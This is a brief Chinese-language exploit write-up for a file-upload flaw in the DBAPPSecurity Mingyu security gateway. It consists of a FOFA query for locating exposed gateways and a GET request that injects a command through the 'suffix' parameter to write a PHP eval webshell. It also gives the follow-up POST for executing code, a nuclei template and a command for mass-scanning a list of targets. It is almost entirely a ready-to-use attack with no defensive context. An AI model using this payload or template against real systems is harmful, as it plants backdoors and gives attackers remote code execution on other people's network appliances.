安恒明御安全网关文件上传

# FOFA语法title=="明御安全网关"body="/webui/images/basic/login/" && title=="明御安全网关"

http://IP/webui/?$type=1&bkg_flag=0&g=aaa_portal_auth_local_submit&suffix=1|echo+%22%3C%3fphp+eval($_POST[%22a%22])?%3E%22+%3E+.xxx.php

# 请求路径http://IP/webui/.xxx.php

# POST发送数据a=phpinfo();

id: mingyu_uploadinfo:  name: mingyu_upload  author: joyboy  severity: critical  description: http://xxx.xxx.xxx/webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&$type=1&suffix=1|echo+"<%3fphp+eval($_POST["a"]);?>"+>+.xxx.php  metadata:    max-request: 1    fofa-query: title="明御安全网关"    verified: true    CVE:   tags: 明御安全网关,uploadfile

requests:  - raw:      - |        GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&$type=1&suffix=1|echo+"<%3fphp+eval($_POST["a"]);?>"+>+.xxx.php HTTP/1.1        Host: {{Hostname}}    matchers:      - type: word        part: body        words:          - 'success'

# nuclei执行命令nuclei.exe -t mingyu_upload.yaml -l url.txt -stats